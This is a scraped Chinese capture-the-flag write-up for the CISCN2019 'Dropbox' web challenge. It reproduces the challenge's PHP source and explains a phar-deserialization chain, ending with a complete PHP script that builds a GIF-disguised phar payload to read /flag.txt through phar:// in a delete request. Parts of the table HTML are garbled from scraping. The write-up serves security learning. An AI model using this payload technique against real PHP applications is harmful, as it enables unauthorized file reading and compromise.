码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox


    先注册登录

    登录上来发现有文件上传按钮

    随便上传一个txt试一下

    只能上传gif/jpg/png,按他的要求上传一个jpg

    上传成功后有个下载按钮

    抓包看一下

    发现filename参数就是我们要下载的文件名

    读取download.php,delete.php和class.php

    download.php

    1. session_start();
    2. if (!isset($_SESSION['login'])) {
    3. header("Location: login.php");
    4. die();
    5. }
    6. if (!isset($_POST['filename'])) {
    7. die();
    8. }
    9. include "class.php";
    10. ini_set("open_basedir", getcwd() . ":/etc:/tmp");
    11. chdir($_SESSION['sandbox']);
    12. $file = new File();
    13. $filename = (string) $_POST['filename'];
    14. if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    15. Header("Content-type: application/octet-stream");
    16. Header("Content-Disposition: attachment; filename=" . basename($filename));
    17. echo $file->close();
    18. } else {
    19. echo "File not exist";
    20. }
    21. ?>

    delete.php

    1. session_start();
    2. if (!isset($_SESSION['login'])) {
    3. header("Location: login.php");
    4. die();
    5. }
    6. if (!isset($_POST['filename'])) {
    7. die();
    8. }
    9. include "class.php";
    10. chdir($_SESSION['sandbox']);
    11. $file = new File();
    12. $filename = (string) $_POST['filename'];
    13. if (strlen($filename) < 40 && $file->open($filename)) {
    14. $file->detele();
    15. Header("Content-type: application/json");
    16. $response = array("success" => true, "error" => "");
    17. echo json_encode($response);
    18. } else {
    19. Header("Content-type: application/json");
    20. $response = array("success" => false, "error" => "File not exist");
    21. echo json_encode($response);
    22. }
    23. ?>

    class.php

    1. error_reporting(0);
    2. $dbaddr = "127.0.0.1";
    3. $dbuser = "root";
    4. $dbpass = "root";
    5. $dbname = "dropbox";
    6. $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
    7. class User {
    8. public $db;
    9. public function __construct() {
    10. global $db;
    11. $this->db = $db;
    12. }
    13. public function user_exist($username) {
    14. $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    15. $stmt->bind_param("s", $username);
    16. $stmt->execute();
    17. $stmt->store_result();
    18. $count = $stmt->num_rows;
    19. if ($count === 0) {
    20. return false;
    21. }
    22. return true;
    23. }
    24. public function add_user($username, $password) {
    25. if ($this->user_exist($username)) {
    26. return false;
    27. }
    28. $password = sha1($password . "SiAchGHmFx");
    29. $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    30. $stmt->bind_param("ss", $username, $password);
    31. $stmt->execute();
    32. return true;
    33. }
    34. public function verify_user($username, $password) {
    35. if (!$this->user_exist($username)) {
    36. return false;
    37. }
    38. $password = sha1($password . "SiAchGHmFx");
    39. $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    40. $stmt->bind_param("s", $username);
    41. $stmt->execute();
    42. $stmt->bind_result($expect);
    43. $stmt->fetch();
    44. if (isset($expect) && $expect === $password) {
    45. return true;
    46. }
    47. return false;
    48. }
    49. public function __destruct() {
    50. $this->db->close();
    51. }
    52. }
    53. class FileList {
    54. private $files;
    55. private $results;
    56. private $funcs;
    57. public function __construct($path) {
    58. $this->files = array();
    59. $this->results = array();
    60. $this->funcs = array();
    61. $filenames = scandir($path);
    62. $key = array_search(".", $filenames);
    63. unset($filenames[$key]);
    64. $key = array_search("..", $filenames);
    65. unset($filenames[$key]);
    66. foreach ($filenames as $filename) {
    67. $file = new File();
    68. $file->open($path . $filename);
    69. array_push($this->files, $file);
    70. $this->results[$file->name()] = array();
    71. }
    72. }
    73. public function __call($func, $args) {
    74. array_push($this->funcs, $func);
    75. foreach ($this->files as $file) {
    76. $this->results[$file->name()][$func] = $file->$func();
    77. }
    78. }
    79. public function __destruct() {
    80. $table = '
      ';
    81. $table .= '
    82. ';
    83. foreach ($this->funcs as $func) {
    84. $table .= '
    85. ';
    86. }
    87. $table .= '
    88. ';
    89. $table .= '
    90. ';
    91. foreach ($this->results as $filename => $result) {
    92. $table .= '
    93. ';
    94. foreach ($result as $func => $value) {
    95. $table .= '
    96. ';
    97. }
    98. $table .= '
    99. ';
    100. $table .= '
    101. ';
    102. }
    103. echo $table;
    104. }
    105. }
    106. class File {
    107. public $filename;
    108. public function open($filename) {
    109. $this->filename = $filename;
    110. if (file_exists($filename) && !is_dir($filename)) {
    111. return true;
    112. } else {
    113. return false;
    114. }
    115. }
    116. public function name() {
    117. return basename($this->filename);
    118. }
    119. public function size() {
    120. $size = filesize($this->filename);
    121. $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    122. for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    123. return round($size, 2).$units[$i];
    124. }
    125. public function detele() {
    126. unlink($this->filename);
    127. }
    128. public function close() {
    129. return file_get_contents($this->filename);
    130. }
    131. }
    132. ?>
    133. 要读取flag的话,需要用到class.php中的File类中的close函数

          public function close() {
              return file_get_contents($this->filename);
          }

      再看FileList类中__call魔术方法

          public function __call($func, $args) {
              array_push($this->funcs, $func);
              foreach ($this->files as $file) {
                  $this->results[$file->name()][$func] = $file->$func();
              }
          }

      这个方法主要就是把$file->$func()的结果放入了$this->results里。至于[$file->name()][$func]这些东西不需要管,因为最终FileList类中的__destruct方法会把$result里面的内容给echo出来

              foreach ($this->results as $filename => $result) {
                  $table .= '

      ';
                  foreach ($result as $func => $value) {
                      $table .= '';
                  }
                  $table .= '';
                  $table .= '';
              }

      因此我们要想办法让$file=new File(),而$func()是close()。也就是说,使用了FileList类中不存在的方法close()的时候可以把close()给传进去,而$file就是$files里的,而$files是我们可控的

      发现

          public function __destruct() {
              $this->db->close();
          }

      User类的__destruct方法会调用close(),因此我们让$this->db是new FileList(),这个反序列化的链就构造成功了。

      User->destruct()=>FileList->call()=>File->close()=>FileList->__destruct()

      payload:

      1. class User {
      2. public $db;
      3. public function __construct(){
      4. $this->db=new FileList();
      5. }
      6. }
      7. class FileList {
      8. private $files;
      9. private $results;
      10. private $funcs;
      11. public function __construct(){
      12. $this->files=array(new File());
      13. }
      14. }
      15. class File {
      16. public $filename='/flag.txt';
      17. }
      18. @unlink("phar.phar");
      19. $phar = new Phar("phar.phar"); //后缀名必须为phar
      20. $phar->startBuffering();
      21. $phar->setStub("GIF89a".""); //设置stub
      22. $o = new User();
      23. $phar->setMetadata($o); //将自定义的meta-data存入manifest
      24. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
      25. //签名自动计算
      26. $phar->stopBuffering();
      27. ?>

      把得到的phar.phar改名为phar.jpg传上去,然后执行删除操作时添加phar://

       

    134. 相关阅读:
      jmeter报Java.NET.BindException: Address already in use: connect
      校友录系统
      NAT-DDNS内网穿透技术,快解析DDNS的优势
      【二】2D测量 Metrology——get_metrology_object_num_instances()算子
      heic格式图片怎么转换jpg?
      (1)多线程-线程的创建
      RabbitMQ消息确认机制
      Python实现人脸识别
      程序员的护城河:技术深度、创新追求与软实力的完美结合
      Redis未授权访问的三种利用方式
    135. 原文地址:https://blog.csdn.net/Yb_140/article/details/127788425
      • 最新文章
      • 攻防演习之三天拿下官网站群
        数据安全治理学习——前期安全规划和安全管理体系建设
        企业安全 | 企业内一次钓鱼演练准备过程
        内网渗透测试 | Kerberos协议及其部分攻击手法
        0day的产生 | 不懂代码的"代码审计"
        安装scrcpy-client模块av模块异常,环境问题解决方案
        leetcode hot100【LeetCode 279. 完全平方数】java实现
        OpenWrt下安装Mosquitto
        AnatoMask论文汇总
        【AI日记】24.11.01 LangChain、openai api和github copilot
      • 热门文章
      • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
        奉劝各位学弟学妹们,该打造你的技术影响力了!
        五年了,我在 CSDN 的两个一百万。
        Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
        面试官都震惊,你这网络基础可以啊!
        你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
        心情不好的时候,用 Python 画棵樱花树送给自己吧
        通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
        13 万字 C 语言从入门到精通保姆级教程2021 年版
        10行代码集2000张美女图,Python爬虫120例,再上征途
      Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
      正则表达式工具 cron表达式工具 密码生成工具

      京公网安备 11010502049817号

      ' . htmlentities($func) . 'Opt
      ' . htmlentities($value) . 'htmlentities($filename) . '">下载 / 删除
      ' . htmlentities($value) . '下载 / 删除